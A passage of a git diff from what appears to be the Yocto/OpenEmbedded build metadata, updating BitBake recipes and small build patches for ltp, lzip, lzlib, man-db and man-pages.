-SRCREV = "0d79a93e6ca44d9bc95973faea6bcd7b0c6d1f43"
-
-SRC_URI = "git://github.com/linux-test-project/ltp.git \
- file://0001-build-Add-option-to-select-libc-implementation.patch \
- file://0004-guard-mallocopt-with-__GLIBC__.patch \
- file://0007-Fix-test_proc_kill-hanging.patch \
- file://0001-Add-more-musl-exclusions.patch \
- file://0001-ptrace01-Fix-missing-format-string.patch \
- file://0001-sigwaitinfo-Do-not-run-invalid-undefined-test-cases.patch \
- file://0001-syscalls-copy_file_range02-Expect-EFBIG-in-subcase-m.patch \
- file://0001-Remove-OOM-tests-from-runtest-mm.patch \
- "
-
-S = "${WORKDIR}/git"
-
-inherit autotools-brokensep pkgconfig
-
-TARGET_CC_ARCH += "${LDFLAGS}"
-
-export prefix = "/opt/${PN}"
-export exec_prefix = "/opt/${PN}"
-
-PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
-EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
-EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
-# ltp network/rpc test cases ftbfs when libtirpc is found
-EXTRA_OECONF += " --without-tirpc "
-
-do_install(){
- install -d ${D}${prefix}/
- oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install
-
- # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
- # as it lacks dependency on some perl moudle such as LWP::Simple
- # And this script previously works as a tool for analyzing failures from LTP
- # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
- # http://khack.osdl.org to retrieve ltp test results run on
- # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
- rm -rf ${D}${prefix}/bin/STPfailure_report.pl
-
- # Copy POSIX test suite into ${D}${prefix}/testcases by manual
- cp -r testcases/open_posix_testsuite ${D}${prefix}/testcases
-
- # Makefile were configured in the build system
- find ${D}${prefix} -name Makefile | xargs -n 1 sed -i \
- -e 's@[^ ]*-fdebug-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*-fmacro-prefix-map=[^ "]*@@g' \
- -e 's@[^ ]*--sysroot=[^ "]*@@g'
-
- # The controllers memcg_stree test seems to cause us hangs and takes 900s
- # (maybe we expect more regular output?), anyhow, skip it
- sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
-}
-
-RDEPENDS_${PN} = "\
- attr \
- bash \
- bc \
- coreutils \
- cpio \
- cronie \
- curl \
- e2fsprogs \
- e2fsprogs-mke2fs \
- expect \
- file \
- gawk \
- gdb \
- gzip \
- iproute2 \
- ldd \
- libaio \
- logrotate \
- net-tools \
- perl \
- python3-core \
- procps \
- quota \
- unzip \
- util-linux \
- which \
- tar \
-"
-
-FILES_${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
-
-# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
-INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
-INSANE_SKIP_${PN} += "already-stripped staticdev"
-
-# Avoid file dependency scans, as LTP checks for things that may or may not
-# exist on the running system. For instance it has specific checks for
-# csh and ksh which are not typically part of OpenEmbedded systems (but
-# can be added via additional layers.)
-SKIP_FILEDEPS_${PN} = '1'
diff --git a/meta/recipes-extended/ltp/ltp_20240129.bb b/meta/recipes-extended/ltp/ltp_20240129.bb
new file mode 100644
index 0000000000..3e896957d1
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp_20240129.bb
@@ -0,0 +1,144 @@
+SUMMARY = "Linux Test Project"
+DESCRIPTION = "The Linux Test Project is a joint project with SGI, IBM, OSDL, and Bull with a goal to deliver test suites to the open source community that validate the reliability, robustness, and stability of Linux. The Linux Test Project is a collection of tools for testing the Linux kernel and related features."
+HOMEPAGE = "https://linux-test-project.github.io/"
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-only & GPL-2.0-or-later & LGPL-2.0-or-later & LGPL-2.1-or-later & BSD-2-Clause"
+LIC_FILES_CHKSUM = "\
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://testcases/open_posix_testsuite/COPYING;md5=48b1c5ec633e3e30ec2cf884ae699947 \
+ file://testcases/network/can/filter-tests/COPYING;md5=5b155ea7d7f86eae8e8832955d8b70bc \
+"
+
+DEPENDS = "attr libaio libcap acl openssl zip-native"
+DEPENDS:append:libc-musl = " fts "
+EXTRA_OEMAKE:append:libc-musl = " LIBC=musl "
+EXTRA_OECONF:append:libc-musl = " LIBS=-lfts "
+
+# since ltp contains x86-64 assembler which uses the frame-pointer register,
+# set -fomit-frame-pointer x86-64 to handle cases where optimisation
+# is set to -O0 or frame pointers have been enabled by -fno-omit-frame-pointer
+# earlier in CFLAGS, etc.
+CFLAGS:append:x86-64 = " -fomit-frame-pointer"
+TUNE_CCARGS:remove:x86 = "-mfpmath=sse"
+TUNE_CCARGS:remove:x86-64 = "-mfpmath=sse"
+
+CFLAGS:append:powerpc64 = " -D__SANE_USERSPACE_TYPES__"
+CFLAGS:append:mipsarchn64 = " -D__SANE_USERSPACE_TYPES__"
+SRCREV = "68737d20556d37364c95776044b1119c0912a36a"
+
+SRC_URI = "git://github.com/linux-test-project/ltp.git;branch=master;protocol=https \
+ file://0001-Remove-OOM-tests-from-runtest-mm.patch \
+ file://0001-scenario_groups-default-remove-connectors.patch \
+ "
+
+S = "${WORKDIR}/git"
+
+inherit autotools-brokensep pkgconfig
+
+# Version 20220527 added KVM test infrastructure which currently fails to build with gold due to
+# SORT_NONE in linker script which isn't supported by gold:
+# https://sourceware.org/bugzilla/show_bug.cgi?id=18097
+# https://github.com/linux-test-project/ltp/commit/3fce2064b54843218d085aae326c8f7ecf3a8c41#diff-39268f0855c634ca48c8993fcd2c95b12a65b79e8d9fa5ccd6b0f5a8785c0dd6R36
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd', '', d)}"
+LDFLAGS:append = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-lld', ' -fuse-ld=bfd', '', d)}"
+
+# After 0002-kvm-use-LD-instead-of-hardcoding-ld.patch
+# https://github.com/linux-test-project/ltp/commit/f94e0ef3b7280f886384703ef9019aaf2f2dfebb
+# it fails with gold also a bit later when trying to use *-payload.bin
+# http://errors.yoctoproject.org/Errors/Details/663094/
+# work around this by forcing .bfd linked in LD when ld-is-gold is in DISTRO_FEATURES
+KVM_LD = "${@bb.utils.contains_any('DISTRO_FEATURES', 'ld-is-gold ld-is-lld', '${HOST_PREFIX}ld.bfd${TOOLCHAIN_OPTIONS} ${HOST_LD_ARCH}', '${LD}', d)}"
+
+TARGET_CC_ARCH += "${LDFLAGS}"
+
+export prefix = "/opt/${PN}"
+export exec_prefix = "/opt/${PN}"
+
+PACKAGECONFIG[numa] = "--with-numa, --without-numa, numactl,"
+EXTRA_AUTORECONF += "-I ${S}/testcases/realtime/m4"
+EXTRA_OECONF = " --with-realtime-testsuite --with-open-posix-testsuite "
+# ltp network/rpc test cases ftbfs when libtirpc is found
+EXTRA_OECONF += " --without-tirpc "
+
+do_compile() {
+ oe_runmake HOSTCC="${CC_FOR_BUILD}" HOST_CFLAGS="${CFLAGS_FOR_BUILD}" HOST_LDFLAGS="${LDFLAGS_FOR_BUILD}" KVM_LD="${KVM_LD}"
+}
+
+do_install(){
+ install -d ${D}${prefix}/
+ oe_runmake DESTDIR=${D} SKIP_IDCHECK=1 install include-install
+
+ # fixup not deploy STPfailure_report.pl to avoid confusing about it fails to run
+ # as it lacks dependency on some perl moudle such as LWP::Simple
+ # And this script previously works as a tool for analyzing failures from LTP
+ # runs on the OSDL's Scaleable Test Platform (STP) and it mainly accesses
+ # http://khack.osdl.org to retrieve ltp test results run on
+ # OSDL's Scaleable Test Platform, but now http://khack.osdl.org unaccessible
+ rm -rf ${D}${prefix}/bin/STPfailure_report.pl
+
+ # The controllers memcg_stree test seems to cause us hangs and takes 900s
+ # (maybe we expect more regular output?), anyhow, skip it
+ sed -e '/^memcg_stress/d' -i ${D}${prefix}/runtest/controllers
+}
+
+RDEPENDS:${PN} = "\
+ attr \
+ bash \
+ bc \
+ coreutils \
+ cpio \
+ cronie \
+ curl \
+ e2fsprogs \
+ e2fsprogs-mke2fs \
+ expect \
+ file \
+ findutils \
+ gawk \
+ gdb \
+ gzip \
+ iproute2 \
+ ldd \
+ libaio \
+ logrotate \
+ net-tools \
+ perl \
+ python3-core \
+ procps \
+ quota \
+ unzip \
+ util-linux \
+ which \
+ tar \
+"
+
+RRECOMMENDS:${PN} += "kernel-module-loop"
+
+FILES:${PN} += "${prefix}/* ${prefix}/runtest/* ${prefix}/scenario_groups/* ${prefix}/testcases/bin/* ${prefix}/testcases/bin/*/bin/* ${prefix}/testscripts/* ${prefix}/testcases/open_posix_testsuite/* ${prefix}/testcases/open_posix_testsuite/conformance/* ${prefix}/testcases/open_posix_testsuite/Documentation/* ${prefix}/testcases/open_posix_testsuite/functional/* ${prefix}/testcases/open_posix_testsuite/include/* ${prefix}/testcases/open_posix_testsuite/scripts/* ${prefix}/testcases/open_posix_testsuite/stress/* ${prefix}/testcases/open_posix_testsuite/tools/* ${prefix}/testcases/data/nm01/lib.a ${prefix}/lib/libmem.a"
+
+# Avoid stripping some generated binaries otherwise some of the ltp tests such as ldd01 & nm01 fail
+INHIBIT_PACKAGE_STRIP_FILES = "${prefix}/testcases/bin/nm01 ${prefix}/testcases/bin/ldd01"
+INSANE_SKIP:${PN} += "already-stripped staticdev"
+
+remove_broken_musl_sources() {
+ [ "${TCLIBC}" = "musl" ] || return 0
+
+ cd ${S}
+ echo "WARNING: remove unsupported tests (until they're fixed)"
+
+ # sync with upstream
+ # https://github.com/linux-test-project/ltp/blob/master/ci/alpine.sh#L33
+ rm -rfv \
+ testcases/kernel/syscalls/fmtmsg/fmtmsg01.c \
+ testcases/kernel/syscalls/getcontext/getcontext01.c \
+ testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c \
+ testcases/kernel/syscalls/timer_create/timer_create01.c \
+ testcases/kernel/syscalls/timer_create/timer_create03.c
+}
+do_patch[postfuncs] += "remove_broken_musl_sources"
+
+# Avoid file dependency scans, as LTP checks for things that may or may not
+# exist on the running system. For instance it has specific checks for
+# csh and ksh which are not typically part of OpenEmbedded systems (but
+# can be added via additional layers.)
+SKIP_FILEDEPS:${PN} = '1'
diff --git a/meta/recipes-extended/lzip/lzip_1.21.bb b/meta/recipes-extended/lzip/lzip_1.21.bb
deleted file mode 100644
index bb3d2a6fe3..0000000000
--- a/meta/recipes-extended/lzip/lzip_1.21.bb
+++ /dev/null
@@ -1,41 +0,0 @@
-SUMMARY = "Lossless data compressor based on the LZMA algorithm"
-HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
-SECTION = "console/utils"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
- file://decoder.cc;beginline=3;endline=16;md5=db09fe3f9573f94d0076f7f07959e6e1"
-
-SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
-SRC_URI[md5sum] = "c0061730d017ea593a09308edc547128"
-SRC_URI[sha256sum] = "e48b5039d3164d670791f9c5dbaa832bf2df080cb1fbb4f33aa7b3300b670d8b"
-
-B = "${WORKDIR}/build"
-do_configure[cleandirs] = "${B}"
-
-CONFIGUREOPTS = "\
- '--srcdir=${S}' \
- '--prefix=${prefix}' \
- '--exec-prefix=${exec_prefix}' \
- '--bindir=${bindir}' \
- '--datadir=${datadir}' \
- '--infodir=${infodir}' \
- '--sysconfdir=${sysconfdir}' \
- 'CXX=${CXX}' \
- 'CPPFLAGS=${CPPFLAGS}' \
- 'CXXFLAGS=${CXXFLAGS}' \
- 'LDFLAGS=${LDFLAGS}' \
-"
-
-do_configure () {
- ${S}/configure ${CONFIGUREOPTS}
-}
-
-do_install () {
- oe_runmake 'DESTDIR=${D}' install
- # Info dir listing isn't interesting at this point so remove it if it exists.
- if [ -e "${D}${infodir}/dir" ]; then
- rm -f ${D}${infodir}/dir
- fi
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lzip/lzip_1.24.1.bb b/meta/recipes-extended/lzip/lzip_1.24.1.bb
new file mode 100644
index 0000000000..6eda012734
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzip_1.24.1.bb
@@ -0,0 +1,42 @@
+SUMMARY = "Lossless data compressor based on the LZMA algorithm"
+HOMEPAGE = "http://lzip.nongnu.org/lzip.html"
+DESCRIPTION = "Lzip is a lossless data compressor with a user interface similar to the one of gzip or bzip2. Lzip uses a simplified form of the Lempel-Ziv-Markov chain-Algorithm (LZMA) stream format, chosen to maximize safety and interoperability."
+SECTION = "console/utils"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=76d6e300ffd8fb9d18bd9b136a9bba13 \
+ file://decoder.cc;beginline=3;endline=16;md5=18c279060cd0be128188404b45837f88 \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzip-${PV}.tar.gz"
+SRC_URI[sha256sum] = "30c9cb6a0605f479c496c376eb629a48b0a1696d167e3c1e090c5defa481b162"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--sysconfdir=${sysconfdir}' \
+ 'CXX=${CXX}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+ # Info dir listing isn't interesting at this point so remove it if it exists.
+ if [ -e "${D}${infodir}/dir" ]; then
+ rm -f ${D}${infodir}/dir
+ fi
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/lzip/lzlib_1.14.bb b/meta/recipes-extended/lzip/lzlib_1.14.bb
new file mode 100644
index 0000000000..a6010bbf27
--- /dev/null
+++ b/meta/recipes-extended/lzip/lzlib_1.14.bb
@@ -0,0 +1,39 @@
+SUMMARY = "Data compression library providing in-memory LZMA compression and decompression functions"
+HOMEPAGE = "https://www.nongnu.org/lzip/lzlib.html"
+DESCRIPTION = "Lzlib is a data compression library providing in-memory LZMA compression and decompression functions, including integrity checking of the decompressed data. The compressed data format used by the library is the lzip format. Lzlib is written in C. "
+LICENSE = "BSD-2-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=04d943636aa1482e0a97d924d9f4f68f \
+ "
+
+SRC_URI = "${SAVANNAH_GNU_MIRROR}/lzip/lzlib/lzlib-${PV}.tar.gz"
+SRC_URI[sha256sum] = "5acac8714ed4f306020bae660dddce706e5f8a795863679037da9fe6bf4dcf6f"
+
+B = "${WORKDIR}/build"
+do_configure[cleandirs] = "${B}"
+
+CONFIGUREOPTS = "\
+ '--srcdir=${S}' \
+ '--prefix=${prefix}' \
+ '--exec-prefix=${exec_prefix}' \
+ '--bindir=${bindir}' \
+ '--datadir=${datadir}' \
+ '--infodir=${infodir}' \
+ '--libdir=${libdir}' \
+ '--sysconfdir=${sysconfdir}' \
+ '--enable-shared' \
+ '--disable-static' \
+ 'CC=${CC}' \
+ 'CPPFLAGS=${CPPFLAGS}' \
+ 'CXXFLAGS=${CXXFLAGS}' \
+ 'LDFLAGS=${LDFLAGS}' \
+"
+
+do_configure () {
+ ${S}/configure ${CONFIGUREOPTS}
+}
+
+do_install () {
+ oe_runmake 'DESTDIR=${D}' install
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
new file mode 100644
index 0000000000..57ecd48b1f
--- /dev/null
+++ b/meta/recipes-extended/man-db/files/0001-man-Move-local-variable-declaration-to-function-scop.patch
@@ -0,0 +1,38 @@
+From e4125223631f0d555fc327da6d8705bcc8ee5ba5 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 9 Feb 2022 17:30:16 -0800
+Subject: [PATCH] man: Move local variable declaration to function scope
+
+There is a clang bug [1] unearthed here, so help clang by re-arranging
+code without changing the logic, until its fixed in clang
+
+[1] https://github.com/llvm/llvm-project/issues/53692
+
+Upstream-Status: Inappropriate [Inappropriate: Clang bug]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/man.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/src/man.c b/src/man.c
+index 195d35d..6870989 100644
+--- a/src/man.c
++++ b/src/man.c
+@@ -379,7 +379,7 @@ static void init_html_pager (void)
+ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ {
+ static bool apropos, whatis; /* retain values between calls */
+-
++ char *s;
+ /* Please keep these keys in the same order as in options above. */
+ switch (key) {
+ case 'C':
+@@ -411,7 +411,7 @@ static error_t parse_opt (int key, char *arg, struct argp_state *state)
+ case OPT_WARNINGS:
+ #ifdef NROFF_WARNINGS
+ {
+- char *s = xstrdup
++ s = xstrdup
+ (arg ? arg : default_roff_warnings);
+ const char *warning;
+
diff --git a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch b/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
deleted file mode 100644
index 03273d3b49..0000000000
--- a/meta/recipes-extended/man-db/files/man_db.conf-avoid-multilib-install-file-conflict.patch
+++ /dev/null
@@ -1,16 +0,0 @@
-The first line of man_db.conf will be replaced by package name. And it causes
-multilib install file conflict. Remove the line to avoid the issue.
-
-Upstream-Status: Pending
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
-
-diff --git a/src/man_db.conf.in b/src/man_db.conf.in
-index bc8bb7e..04cfb31 100644
---- a/src/man_db.conf.in
-+++ b/src/man_db.conf.in
-@@ -1,4 +1,3 @@
--# @config_file_basename@
- #
- # This file is used by the man-db package to configure the man and cat paths.
- # It is also used to provide a manpath for those without one by examining
diff --git a/meta/recipes-extended/man-db/man-db_2.12.1.bb b/meta/recipes-extended/man-db/man-db_2.12.1.bb
new file mode 100644
index 0000000000..27b47a7f47
--- /dev/null
+++ b/meta/recipes-extended/man-db/man-db_2.12.1.bb
@@ -0,0 +1,72 @@
+SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
+HOMEPAGE = "http://man-db.nongnu.org/"
+DESCRIPTION = "man-db is an implementation of the standard Unix documentation system accessed using the man command. It uses a Berkeley DB database in place of the traditional flat-text whatis databases."
+LICENSE = "LGPL-2.1-or-later & GPL-2.0-or-later & GPL-3.0-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
+ file://docs/COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://docs/COPYING.LIB;md5=4fbd65380cdd255951079008b364516c \
+ "
+
+SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
+ file://99_mandb \
+ file://0001-man-Move-local-variable-declaration-to-function-scop.patch \
+ "
+SRC_URI[sha256sum] = "ddee249daeb78cf92bab794ccd069cc8b575992265ea20e239e887156e880265"
+
+DEPENDS = "libpipeline gdbm groff-native base-passwd"
+RDEPENDS:${PN} += "base-passwd"
+PACKAGE_WRITE_DEPS += "base-passwd"
+
+# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
+USE_NLS:libc-musl = "no"
+
+inherit gettext pkgconfig autotools systemd
+
+EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_system_unitdir}"
+EXTRA_AUTORECONF += "-I ${S}/gl/m4"
+
+PACKAGECONFIG[bzip2] = "--with-bzip2=bzip2,ac_cv_prog_have_bzip2='',bzip2"
+PACKAGECONFIG[gzip] = "--with-gzip=gzip,ac_cv_prog_have_gzip='',gzip"
+PACKAGECONFIG[lzip] = "--with-lzip=lzip,ac_cv_prog_have_lzip='',lzip"
+PACKAGECONFIG[lzma] = "--with-lzma=lzma,ac_cv_prog_have_lzma='',xz"
+PACKAGECONFIG[zstd] = "--with-zstd=zstd,ac_cv_prog_have_zstd='',zstd"
+PACKAGECONFIG[xz] = "--with-xz=xz,ac_cv_prog_have_xz='',xz"
+
+do_install() {
+ autotools_do_install
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}/etc/default/volatiles
+ install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
+ fi
+}
+
+do_install:append:libc-musl() {
+ rm -f ${D}${libdir}/charset.alias
+}
+
+FILES:${PN} += "${prefix}/lib/tmpfiles.d"
+
+FILES:${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
+
+RDEPENDS:${PN} += "groff"
+RRECOMMENDS:${PN} += "less"
+# iconv from glibc-utils can be used to transform encoding
+RRECOMMENDS:${PN}:append:libc-glibc = " glibc-utils"
+RPROVIDES:${PN} += "man"
+
+def compress_pkg(d):
+ if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
+ compress = d.getVar("DOC_COMPRESS")
+ if compress == "gz":
+ return "gzip"
+ elif compress == "bz2":
+ return "bzip2"
+ elif compress == "xz":
+ return "xz"
+ return ""
+
+RDEPENDS:${PN} += "${@compress_pkg(d)}"
+
+SYSTEMD_SERVICE:${PN} = "man-db.timer man-db.service"
+SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-db/man-db_2.9.3.bb b/meta/recipes-extended/man-db/man-db_2.9.3.bb
deleted file mode 100644
index 0e6016a73c..0000000000
--- a/meta/recipes-extended/man-db/man-db_2.9.3.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "An implementation of the standard Unix documentation system accessed using the man command"
-HOMEPAGE = "http://man-db.nongnu.org/"
-LICENSE = "LGPLv2.1 & GPLv2"
-LIC_FILES_CHKSUM = "file://docs/COPYING.LIB;md5=a6f89e2100d9b6cdffcea4f398e37343 \
- file://docs/COPYING;md5=eb723b61539feef013de476e68b5c50a"
-
-SRC_URI = "${SAVANNAH_NONGNU_MIRROR}/man-db/man-db-${PV}.tar.xz \
- file://99_mandb \
- file://man_db.conf-avoid-multilib-install-file-conflict.patch"
-SRC_URI[sha256sum] = "fa5aa11ab0692daf737e76947f45669225db310b2801a5911bceb7551c5597b8"
-
-DEPENDS = "libpipeline gdbm groff-native base-passwd"
-RDEPENDS_${PN} += "base-passwd"
-
-# | /usr/src/debug/man-db/2.8.0-r0/man-db-2.8.0/src/whatis.c:939: undefined reference to `_nl_msg_cat_cntr'
-USE_NLS_libc-musl = "no"
-
-inherit gettext pkgconfig autotools systemd
-
-EXTRA_OECONF = "--with-pager=less --with-systemdsystemunitdir=${systemd_unitdir}/system"
-EXTRA_AUTORECONF += "-I ${S}/gl/m4"
-
-do_install() {
- autotools_do_install
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- install -d ${D}/etc/default/volatiles
- install -m 0644 ${WORKDIR}/99_mandb ${D}/etc/default/volatiles
- fi
-}
-
-do_install_append_libc-musl() {
- rm -f ${D}${libdir}/charset.alias
-}
-
-FILES_${PN} += "${prefix}/lib/tmpfiles.d"
-
-FILES_${PN}-dev += "${libdir}/man-db/libman.so ${libdir}/${BPN}/libmandb.so"
-
-RDEPENDS_${PN} += "groff"
-RRECOMMENDS_${PN} += "less"
-RPROVIDES_${PN} += " man"
-
-def compress_pkg(d):
- if bb.utils.contains("INHERIT", "compress_doc", True, False, d):
- compress = d.getVar("DOC_COMPRESS")
- if compress == "gz":
- return "gzip"
- elif compress == "bz2":
- return "bzip2"
- elif compress == "xz":
- return "xz"
- return ""
-
-RDEPENDS_${PN} += "${@compress_pkg(d)}"
-
-SYSTEMD_SERVICE_${PN} = "man-db.timer man-db.service"
-SYSTEMD_AUTO_ENABLE ?= "disable"
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
new file mode 100644
index 0000000000..a644d24328
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-GNUmakefile-use-env-from-PATH.patch
@@ -0,0 +1,31 @@
+From fbf0544138af02be4d6dd3085e7ecf98ad060bb4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Wed, 13 Mar 2024 17:30:02 +0100
+Subject: [PATCH] GNUmakefile: use env from PATH
+
+This allows using env from coreutils-native (rather than host env),
+which resolves the problem of missing -S option on distributions
+with much older coreutils such as Ubuntu 18.04.
+
+Once all autobuilder distros are newer than that, this patch
+can be dropped, together with corutils-native dependency.
+
+Upstream-Status: Inappropriate [made for obsolete host distros]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ GNUmakefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/GNUmakefile b/GNUmakefile
+index 1234194..65ba327 100644
+--- a/GNUmakefile
++++ b/GNUmakefile
+@@ -21,7 +21,7 @@
+ ########################################################################
+
+
+-SHELL := /usr/bin/env
++SHELL := env
+ .SHELLFLAGS := -S bash -Eeuo pipefail -c
+
+
diff --git a/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
new file mode 100644
index 0000000000..ec2d0600c7
--- /dev/null
+++ b/meta/recipes-extended/man-pages/man-pages/0001-man.ml-do-not-use-dev-stdin.patch
@@ -0,0 +1,33 @@
+From f16cd8c4986b7f250e8465dfbe4bda8d366e05dd Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 4 Mar 2024 14:35:16 +0100
+Subject: [PATCH] man.ml: do not use /dev/stdin
+
+This was introduced in https://git.kernel.org/pub/scm/docs/man-pages/man-pages.git/commit/?id=30c38a8bf8ae8f4a6e71d3b8ac4abf0a40778f1e
+(presumably to build a 'sed | install' pipeline instead of previous 'install; sed' sequence),
+but it doesn't work under pseudo where /dev/stdin is absent.
+
+Upstream-Status: Inappropriate [yocto specific]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ share/mk/install/man.mk | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/share/mk/install/man.mk b/share/mk/install/man.mk
+index b9865b9..06880f0 100644
+--- a/share/mk/install/man.mk
++++ b/share/mk/install/man.mk
+@@ -60,10 +60,10 @@ $(foreach s, $(MANSECTIONS), \
+
+ $(_manpages):
+ $(info INSTALL $@)
+- <$< \
+- $(SED) $(foreach s, $(MANSECTIONS), \
++ $(INSTALL_DATA) -T $< $@
++ $(SED) -i $(foreach s, $(MANSECTIONS), \
+ -e '/^\.so /s, man$(s)/\(.*\)\.$(s)$$, $(notdir $(man$(s)dir))/\1$(man$(s)ext)$(Z),') \
+- | $(INSTALL_DATA) -T /dev/stdin $@
++ $@
+ ifeq ($(LINK_PAGES),symlink)
+ if $(GREP) '^\.so ' <$@ >/dev/null; then \
+ $(GREP) '^\.so ' <$@ \
diff --git a/meta/recipes-extended/man-pages/man-pages_5.07.bb b/meta/recipes-extended/man-pages/man-pages_5.07.bb
deleted file mode 100644
index 04d0597b3d..0000000000
--- a/meta/recipes-extended/man-pages/man-pages_5.07.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Linux man-pages"
-DESCRIPTION = "The Linux man-pages project documents the Linux kernel and C library interfaces that are employed by user programs"
-SECTION = "console/utils"
-HOMEPAGE = "http://www.kernel.org/pub/linux/docs/man-pages"
-LICENSE = "GPLv2+"
-
-LIC_FILES_CHKSUM = "file://README;md5=207f70f56526417514ac46b6680e314f"
-SRC_URI = "${KERNELORG_MIRROR}/linux/docs/${BPN}/${BP}.tar.gz"
-
-SRC_URI[md5sum] = "193d9223e9c6dbe1d928eaaecc1f68db"
-SRC_URI[sha256sum] = "5ba58d7b2b9a8929903b1cf791ed4edf72ab225678d5ea0a6b80dc090080ac33"
-
-inherit manpages
-
-MAN_PKG = "${PN}"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[manpages] = ""
-
-do_configure[noexec] = "1"
-do_compile[noexec] = "1"
-
-do_install() {
- oe_runmake install DESTDIR=${D}
-}
-
-# Only deliveres man-pages so FILES_${PN} gets everything
-FILES_${PN}-doc = ""
-FILES_${PN} = "${mandir}/*"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
